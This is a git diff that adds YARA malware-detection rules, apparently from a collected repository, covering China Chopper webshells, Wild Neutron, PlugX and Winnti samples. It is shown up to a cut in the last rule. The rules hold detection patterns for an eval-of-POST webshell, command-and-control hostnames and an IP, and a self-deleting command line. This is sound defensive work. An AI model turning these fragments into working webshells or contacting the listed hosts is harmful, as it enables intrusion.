diff --git a/yara-mikesxrs/Florian Roth/apt_webshell_chinachopper.yar b/yara-mikesxrs/Florian Roth/apt_webshell_chinachopper.yar
new file mode 100644
index 0000000..c54f907
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_webshell_chinachopper.yar	
@@ -0,0 +1,13 @@
+
+rule ChinaChopper_Generic {
+	meta:
+		description = "China Chopper Webshells - PHP and ASPX"
+		author = "Florian Roth"
+		reference = "https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-china-chopper-report.pdf"
+		date = "2015/03/10"
+	strings:
+		$aspx = /%@\sPage\sLanguage=.Jscript.%><%eval\(RequestItem\[.{,100}unsafe/
+		$php = /<?php.\@eval\(\$_POST./
+	condition:
+		1 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_wildneutron.yar b/yara-mikesxrs/Florian Roth/apt_wildneutron.yar
new file mode 100644
index 0000000..0b0011b
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_wildneutron.yar	
@@ -0,0 +1,297 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-10
+	Identifier: WildNeutron
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WildNeutron_Sample_1 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 2b5065a3d0e0b8252a987ef5f29d9e1935c5863f5718b83440e68dc53c21fa94"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "2b5065a3d0e0b8252a987ef5f29d9e1935c5863f5718b83440e68dc53c21fa94"
+	strings:
+		$s0 = "LiveUpdater.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '25.00' */
+		$s1 = "id-at-postalAddress" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.00' */
+		$s2 = "%d -> %d (default)" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s3 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s8 = "id-ce-keyUsage" fullword ascii /* score: '12.00' */
+		$s9 = "Key Usage" fullword ascii /* score: '12.00' */
+		$s32 = "UPDATE_ID" fullword wide /* PEStudio Blacklist: strings */ /* score: '9.00' */
+		$s37 = "id-at-commonName" fullword ascii /* score: '8.00' */
+		$s38 = "2008R2" fullword wide /* PEStudio Blacklist: os */ /* score: '8.00' */
+		$s39 = "RSA-alt" fullword ascii /* PEStudio Blacklist: strings */ /* score: '8.00' */
+		$s40 = "%02d.%04d.%s" fullword wide /* score: '7.02' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule WildNeutron_Sample_2 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 8d80f9ef55324212759f4b6070cb8fce18a008ae9dd8b9598553206654d13a6f"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "8d80f9ef55324212759f4b6070cb8fce18a008ae9dd8b9598553206654d13a6f"
+	strings:
+		$s0 = "rundll32.exe \"%s\",#1" fullword wide /* PEStudio Blacklist: strings */ /* score: '33.00' */
+		$s1 = "IgfxUpt.exe" fullword wide /* score: '20.00' */
+		$s2 = "id-at-postalAddress" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.00' */
+		$s3 = "Intel(R) Common User Interface" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s4 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s11 = "Key Usage" fullword ascii /* score: '12.00' */
+		$s12 = "Intel Integrated Graphics Updater" fullword wide /* PEStudio Blacklist: strings */ /* score: '12.00' */
+		$s13 = "%sexpires on    : %04d-%02d-%02d %02d:%02d:%02d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '11.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule WildNeutron_Sample_3 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file c2c761cde3175f6e40ed934f2e82c76602c81e2128187bab61793ddb3bc686d0"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "c2c761cde3175f6e40ed934f2e82c76602c81e2128187bab61793ddb3bc686d0"
+	strings:
+		$x1 = "178.162.197.9" fullword ascii /* score: '9.00' */
+		$x2 = "\"http://fw.ddosprotected.eu:80 /opts resolv=drfx.chickenkiller.com\"" fullword wide /* PEStudio Blacklist: strings */ /* score: '33.00' */
+		$x3 = ".chickenkiller.com" ascii /* PEStudio Blacklist: strings */ /* score: '28.00' */
+		
+		$s1 = "LiveUpdater.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '25.00' */
+		$s2 = "id-at-postalAddress" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.00' */
+		$s3 = "%d -> %d (default)" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s4 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s5 = "id-at-serialNumber" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+		$s6 = "ECDSA with SHA256" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+		$s7 = "Acer LiveUpdater" fullword wide /* PEStudio Blacklist: strings */ /* score: '10.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2020KB and 
+		( 1 of ($x*) or all of ($s*) )
+}
+
+rule WildNeutron_Sample_4 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45"
+	strings:
+		$x1 = "WinRAT-Win32-Release.exe" fullword ascii /* score: '22.00' */
+
+		$s0 = "rundll32.exe \"%s\",#1" fullword wide /* PEStudio Blacklist: strings */ /* score: '33.00' */
+		$s1 = "RtlUpd.EXE" fullword wide /* score: '20.00' */
+		$s2 = "RtlUpd.exe" fullword wide /* score: '20.00' */
+		$s3 = "Driver Update and remove for Windows x64 or x86_32" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s4 = "Realtek HD Audio Update and remove driver Tool" fullword wide /* PEStudio Blacklist: strings */ /* score: '16.00' */
+		$s5 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s6 = "Key Usage" fullword ascii /* score: '12.00' */
+		$s7 = "id-at-serialNumber" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1240KB and all of them
+}
+
+rule WildNeutron_Sample_5 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 1604e36ccef5fa221b101d7f043ad7f856b84bf1a80774aa33d91c2a9a226206"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "1604e36ccef5fa221b101d7f043ad7f856b84bf1a80774aa33d91c2a9a226206"
+	strings:
+		$s0 = "LiveUpdater.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '25.00' */
+		$s1 = "id-at-postalAddress" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.00' */
+		$s2 = "%d -> %d (default)" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s3 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s4 = "sha-1WithRSAEncryption" fullword ascii /* PEStudio Blacklist: strings */ /* score: '15.00' */
+		$s5 = "Postal code" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.00' */
+		$s6 = "id-ce-keyUsage" fullword ascii /* score: '12.00' */
+		$s7 = "Key Usage" fullword ascii /* score: '12.00' */
+		$s8 = "TLS-RSA-WITH-3DES-EDE-CBC-SHA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '11.00' */
+		$s9 = "%02d.%04d.%s" fullword wide /* score: '7.02' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule WildNeutron_Sample_6 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 4bd548fe07b19178281edb1ee81c9711525dab03dc0b6676963019c44cc75865"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "4bd548fe07b19178281edb1ee81c9711525dab03dc0b6676963019c44cc75865"
+	strings:
+		$s0 = "mshtaex.exe" fullword wide /* score: '20.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 310KB and all of them
+}
+
+rule WildNeutron_Sample_7 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c"
+	strings:
+		$s0 = "checking match for '%s' user %s host %s addr %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '24.00' */
+		$s1 = "PEM_read_bio_PrivateKey failed" fullword ascii /* PEStudio Blacklist: strings */ /* score: '23.00' */
+		$s2 = "usage: %s [-ehR] [-f log_facility] [-l log_level] [-u umask]" fullword ascii /* score: '23.00' */
+		$s3 = "%s %s for %s%.100s from %.200s port %d%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '23.00' */
+		$s4 = "clapi32.dll" fullword ascii /* score: '21.00' */
+		$s5 = "Connection from %s port %d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s6 = "/usr/etc/ssh_known_hosts" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.00' */
+		$s7 = "Version: %s - %s %s %s %s" fullword ascii /* score: '16.00' */
+		$s8 = "[-] connect()" fullword ascii /* PEStudio Blacklist: strings */ /* score: '13.00' */
+		$s9 = "/bin/sh /usr/etc/sshrc" fullword ascii /* score: '12.42' */
+		$s10 = "kexecdhs.c" fullword ascii /* score: '12.00' */
+		$s11 = "%s: setrlimit(RLIMIT_FSIZE, { 0, 0 }): %s" fullword ascii /* score: '11.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and all of them
+}
+
+rule WildNeutron_Sample_8 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92"
+	strings:
+		$x1 = "RunFile: couldn't load SHELL32.DLL!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.00' */
+		$x2 = "RunFile: couldn't find ShellExecuteExA/W in SHELL32.DLL!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '35.00' */
+		$x3 = "Error executing CreateProcess()!!" fullword wide /* PEStudio Blacklist: strings */ /* score: '31.00' */
+		$x4 = "cmdcmdline" fullword wide /* score: '11.00' */
+		$x5 = "Invalid input handle!!!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+
+		$s1 = "Process %d terminated" fullword wide /* PEStudio Blacklist: strings */ /* score: '24.00' */
+		$s2 = "Process is not running any more" fullword wide /* PEStudio Blacklist: strings */ /* score: '22.00' */
+		$s3 = "javacpl.exe" fullword wide /* score: '3.00' */ /* Goodware String - occured 2 times */
+		$s4 = "Windows NT Version %lu.%lu" fullword wide /* PEStudio Blacklist: os */ /* score: '19.00' */
+		$s5 = "Usage: destination [reference]" fullword wide /* PEStudio Blacklist: strings */ /* score: '16.00' */
+		$s6 = ".com;.exe;.bat;.cmd" fullword wide /* score: '15.00' */
+		$s7 = ") -%s-> %s (" fullword ascii /* score: '14.00' */
+		$s8 = "cmdextversion" fullword wide /* score: '14.00' */
+		$s9 = "Invalid pid (%s)" fullword wide /* PEStudio Blacklist: strings */ /* score: '13.00' */
+		$s10 = "\"%s\" /K %s" fullword wide /* score: '11.02' */
+		$s11 = "Error setting %s (%s)" fullword wide /* score: '11.00' */
+		$s12 = "DEBUG: Cannot allocate memory for ptrNextNode->ptrNext!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+		$s13 = "Failed to build full directory path" fullword wide /* score: '10.00' */
+		$s14 = "DEBUG: Cannot allocate memory for ptrFileArray!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '9.00' */
+		$s15 = "%-8s %-3s  %*s %s  %s" fullword wide /* score: '8.00' */
+		$s16 = " %%%c in (%s) do " fullword wide /* score: '8.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1677KB and 2 of ($x*) and 6 of ($s*)
+}
+
+rule WildNeutron_Sample_9 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e"
+	strings:
+		$s0 = "http://get.adobe.com/flashplayer/" fullword wide /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s1 = "xxxxxxxxxxxxxxxxxxxx" fullword wide /* reversed goodware string 'xxxxxxxxxxxxxxxxxxxx' */ /* score: '19.00' */
+		$s4 = " Player Installer/Uninstaller" fullword wide /* PEStudio Blacklist: strings */ /* score: '11.42' */
+		$s5 = "Adobe Flash Plugin Updater" fullword wide /* PEStudio Blacklist: strings */ /* score: '11.00' */
+		$s6 = "uSOFTWARE\\Adobe" fullword wide /* PEStudio Blacklist: strings */ /* score: '10.42' */
+		$s11 = "2008R2" fullword wide /* PEStudio Blacklist: os */ /* score: '8.00' */
+		$s12 = "%02d.%04d.%s" fullword wide /* score: '7.02' */
+		$s13 = "%d -> %d" fullword wide /* score: '7.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+rule WildNeutron_Sample_10 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 1d3bdabb350ba5a821849893dabe5d6056bf7ba1ed6042d93174ceeaa5d6dad7"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "1d3bdabb350ba5a821849893dabe5d6056bf7ba1ed6042d93174ceeaa5d6dad7"
+	strings:
+		$n1 = "/c for /L %%i in (1,1,2) DO ping 127.0.0.1 -n 3 & type %%windir%%\\notepad.exe > %s & del /f %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '46.00' */
+		
+		$s1 = "%SYSTEMROOT%\\temp\\_dbg.tmp" fullword ascii /* PEStudio Blacklist: strings */ /* score: '37.00' */
+		$s2 = "%SYSTEMROOT%\\SysWOW64\\mspool.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.17' */
+		$s3 = "%SYSTEMROOT%\\System32\\dpcore16t.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.17' */
+		$s4 = "%SYSTEMROOT%\\System32\\wdigestEx.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.17' */
+		$s5 = "%SYSTEMROOT%\\System32\\mspool.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.17' */
+		$s6 = "%SYSTEMROOT%\\System32\\kernel32.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.00' */
+		$s7 = "%SYSTEMROOT%\\SysWOW64\\iastor32.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		$s8 = "%SYSTEMROOT%\\System32\\msvcse.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		$s9 = "%SYSTEMROOT%\\System32\\mshtaex.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		$s10 = "%SYSTEMROOT%\\System32\\iastor32.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		$s11 = "%SYSTEMROOT%\\SysWOW64\\mshtaex.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		
+		$x1 = "wdigestEx.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '26.00' */
+		$x2 = "dpcore16t.dll" fullword ascii /* score: '21.00' */
+		$x3 = "mspool.dll" fullword ascii /* score: '21.00' */
+		$x4 = "msvcse.exe" fullword ascii /* score: '20.00' */
+		$x5 = "mshtaex.exe" fullword wide /* score: '20.00' */
+		$x6 = "iastor32.exe" fullword ascii /* score: '20.00' */
+
+		$y1 = "Installer.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '25.00' */
+		$y2 = "Info: Process %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '21.00' */
+		$y3 = "Error: GetFileTime %s 0x%x" fullword ascii /* score: '17.00' */
+		$y4 = "Install succeeded" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+		$y5 = "Error: RegSetValueExA 0x%x" fullword ascii /* score: '9.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and 
+		(
+			$n1 or ( 1 of ($s*) and 1 of ($x*) and 3 of ($y*) ) 
+		)
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule WildNeutron_javacpl {
+	meta:
+		description = "Wild Neutron APT Sample Rule - from files 683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9, 758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92, 8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		super_rule = 1
+		hash1 = "683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9"
+		hash2 = "758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92"
+		hash3 = "8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a"
+	strings:
+		$x1 = "javacpl.exe" fullword wide /* score: '3.00' */ /* Goodware String - occured 2 times */
+
+		$s0 = "RunFile: couldn't find ShellExecuteExA/W in SHELL32.DLL!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '35.00' */
+		$s1 = "Error executing CreateProcess()!!" fullword wide /* PEStudio Blacklist: strings */ /* score: '31.00' */
+		$s2 = "http://www.java.com/en/download/installed.jsp?detect=jre" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.00' */
+		$s3 = "RunFile: couldn't load SHELL32.DLL!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.00' */
+		$s4 = "Process is not running any more" fullword wide /* PEStudio Blacklist: strings */ /* score: '22.00' */
+		$s6 = "Windows NT Version %lu.%lu" fullword wide /* PEStudio Blacklist: os */ /* score: '19.00' */
+		$s7 = "Usage: destination [reference]" fullword wide /* PEStudio Blacklist: strings */ /* score: '16.00' */
+		$s8 = "Invalid input handle!!!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '15.00' */
+		$s9 = ".com;.exe;.bat;.cmd" fullword wide /* score: '15.00' */
+		$s10 = ") -%s-> %s (" fullword ascii /* score: '14.00' */
+		$s11 = "cmdextversion" fullword wide /* score: '14.00' */
+		$s12 = "Invalid pid (%s)" fullword wide /* PEStudio Blacklist: strings */ /* score: '13.00' */
+		$s13 = "\"%s\" /K %s" fullword wide /* score: '11.02' */
+		$s14 = "Error setting %s (%s)" fullword wide /* score: '11.00' */
+		$s16 = "cmdcmdline" fullword wide /* score: '11.00' */
+		$s39 = "2008R2" fullword ascii /* PEStudio Blacklist: os */ /* score: '8.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1677KB and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_win_plugx.yar b/yara-mikesxrs/Florian Roth/apt_win_plugx.yar
new file mode 100644
index 0000000..d79e2a2
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_win_plugx.yar	
@@ -0,0 +1,58 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-08
+	Identifier: PlugX Juni 2016
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PlugX_J16_Gen {
+	meta:
+		description = "Detects PlugX Malware samples from June 2016"
+		author = "Florian Roth"
+		reference = "VT Research"
+		date = "2016-06-08"
+	strings:
+		$x1 = "%WINDIR%\\SYSTEM32\\SERVICES.EXE" fullword wide
+		$x2 = "\\\\.\\PIPE\\RUN_AS_USER(%d)" fullword wide
+		$x3 = "LdrLoadShellcode" fullword ascii
+		$x4 = "Protocol:[%4s], Host: [%s:%d], Proxy: [%d:%s:%d:%s:%s]" fullword ascii
+
+		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform" fullword wide
+		$s2 = "%s\\msiexec.exe %d %d" fullword wide
+		$s3 = "l%s\\sysprep\\CRYPTBASE.DLL" fullword wide
+		$s4 = "%s\\msiexec.exe UAC" fullword wide
+		$s5 = "CRYPTBASE.DLL" fullword wide
+		$s6 = "%ALLUSERSPROFILE%\\SxS" fullword wide
+		$s7 = "%s\\sysprep\\sysprep.exe" fullword wide
+		$s8 = "\\\\.\\pipe\\a%d" fullword wide
+		$s9 = "\\\\.\\pipe\\b%d" fullword wide
+		$s10 = "EName:%s,EAddr:0x%p,ECode:0x%p,EAX:%p,EBX:%p,ECX:%p,EDX:%p,ESI:%p,EDI:%p,EBP:%p,ESP:%p,EIP:%p" fullword ascii
+		$s11 = "Mozilla/4.0 (compatible; MSIE " fullword wide
+		$s12 = "; Windows NT %d.%d" fullword wide
+		$s13 = "SOFTWARE\\Microsoft\\Internet Explorer\\Version Vector" fullword wide
+		$s14 = "\\bug.log" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and ( 1 of ($x*) or 4 of ($s*) ) ) or ( 8 of them )
+}
+
+rule PlugX_J16_Gen2 {
+	meta:
+		description = "Detects PlugX Malware Samples from June 2016"
+		author = "Florian Roth"
+		reference = "VT Research"
+		date = "2016-06-08"
+	strings:
+		$s1 = "XPlugKeyLogger.cpp" fullword ascii
+		$s2 = "XPlugProcess.cpp" fullword ascii
+		$s4 = "XPlgLoader.cpp" fullword ascii
+		$s5 = "XPlugPortMap.cpp" fullword ascii
+		$s8 = "XPlugShell.cpp" fullword ascii
+		$s11 = "file: %s, line: %d, error: [%d]%s" fullword ascii
+		$s12 = "XInstall.cpp" fullword ascii
+		$s13 = "XPlugTelnet.cpp" fullword ascii
+		$s14 = "XInstallUAC.cpp" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and ( 2 of ($s*) ) ) or ( 5 of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_winnti.yar b/yara-mikesxrs/Florian Roth/apt_winnti.yar
new file mode 100644
index 0000000..82a62a4
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_winnti.yar	
@@ -0,0 +1,130 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-10
+	Identifier: Winnti Malware
+*/
+
+rule Winnti_signing_cert {
+	meta:
+		description = "Detects a signing certificate used by the Winnti APT group"
+		author = "Florian Roth"
+		reference = "https://securelist.com/analysis/publications/72275/i-am-hdroot-part-1/"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "a9a8dc4ae77b1282f0c8bdebd2643458fc1ceb3145db4e30120dd81676ff9b61"
+		hash2 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
+	strings:
+		$s1 = "Guangzhou YuanLuo Technology Co." ascii
+		$s2 = "Guangzhou YuanLuo Technology Co.,Ltd" ascii
+		$s3 = "$Asahi Kasei Microdevices Corporation0" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and 1 of them
+}
+
+rule Winnti_malware_Nsiproxy {
+	meta:
+		description = "Detects a Winnti rootkit"
+		author = "Florian Roth"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
+		hash2 = "cf1e006694b33f27d7c748bab35d0b0031a22d193622d47409b6725b395bffb0"
+		hash3 = "326e2cabddb641777d489a9e7a39d52c0dc2dcb1fde1762554ea162792056b6e"
+		hash4 = "aff7c7478fe33c57954b6fec2095efe8f9edf5cdb48a680de9439ba62a77945f"
+		hash5 = "ba7ccd027fd2c826bbe8f2145d5131eff906150bd98fe25a10fbee2c984df1b8"
+	strings:
+		$x1 = "\\Driver\\nsiproxy" fullword wide
+
+		$a1 = "\\Device\\StreamPortal" fullword wide
+		$a2 = "\\Device\\PNTFILTER" fullword wide
+
+		$s1 = "Cookie: SN=" fullword ascii
+		$s2 = "\\BaseNamedObjects\\_transmition_synchronization_" fullword wide
+		$s3 = "Winqual.sys" fullword wide
+		$s4 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" fullword wide
+		$s5 = "http://www.wasabii.com.tw 0" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and $x1 and 1 of ($a*) and 2 of ($s*)
+}
+
+rule Winnti_malware_UpdateDLL {
+	meta:
+		description = "Detects a Winnti malware - Update.dll"
+		author = "Florian Roth"
+		reference = "VTI research"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
+		hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
+		hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
+		hash4 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
+	strings:
+		$c1 = "'Wymajtec$Tima Stempijg Sarviges GA -$G2" fullword ascii
+		$c2 = "AHDNEAFE1.sys" fullword ascii
+		$c3 = "SOTEFEHJ3.sys" fullword ascii
+		$c4 = "MainSYS64.sys" fullword ascii
+
+		$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword wide
+		$s2 = "Update.dll" fullword ascii
+		$s3 = "\\\\.\\pipe\\usbpcex%d" fullword wide
+		$s4 = "\\\\.\\pipe\\usbpcg%d" fullword wide
+		$s5 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" fullword wide
+		$s6 = "\\??\\pipe\\usbpcg%d" fullword wide
+		$s7 = "\\??\\pipe\\usbpcex%d" fullword wide
+		$s8 = "HOST: %s" fullword ascii
+		$s9 = "$$$--Hello" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and
+		(
+			( 1 of ($c*) and 3 of ($s*) ) or all of ($s*)
+		)
+}
+rule Winnti_malware_FWPK {
+	meta:
+		description = "Detects a Winnti malware - FWPKCLNT.SYS"
+		author = "Florian Roth"
+		reference = "VTI research"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "1098518786c84b0d31f215122275582bdcd1666653ebc25d50a142b4f5dabf2c"
+		hash2 = "9a684ffad0e1c6a22db1bef2399f839d8eff53d7024fb014b9a5f714d11febd7"
+		hash3 = "a836397817071c35e24e94b2be3c2fa4ffa2eb1675d3db3b4456122ff4a71368"
+	strings:
+		$s0 = "\\Registry\\Machine\\System\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\" fullword wide
+		$s1 = "%x:%d->%x:%d, Flag %s%s%s%s%s, seq %u, ackseq %u, datalen %u" fullword ascii
+		$s2 = "FWPKCLNT.SYS" fullword ascii
+		$s3 = "Port Layer" fullword wide
+		$s4 = "%x->%x, icmp type %d, code %d" fullword ascii
+		$s5 = "\\BaseNamedObjects\\{93144EB0-8E3E-4591-B307-8EEBFE7DB28E}" fullword wide
+		$s6 = "\\Ndi\\Interfaces" fullword wide
+		$s7 = "\\Device\\{93144EB0-8E3E-4591-B307-8EEBFE7DB28F}" fullword wide
+		$s8 = "Bad packet" fullword ascii
+		$s9 = "\\BaseNamedObjects\\EKV0000000000" fullword wide
+		$s10 = "%x->%x" fullword ascii
+		$s11 = "IPInjectPkt" fullword ascii /* Goodware String - occured 6 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 642KB and all of them
+}
+
+rule Winnti_malware_StreamPortal_Gen {
+	meta:
+		description = "Detects a Winnti malware - Streamportal"
+		author = "Florian Roth"
+		reference = "VTI research"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "326e2cabddb641777d489a9e7a39d52c0dc2dcb1fde1762554ea162792056b6e"
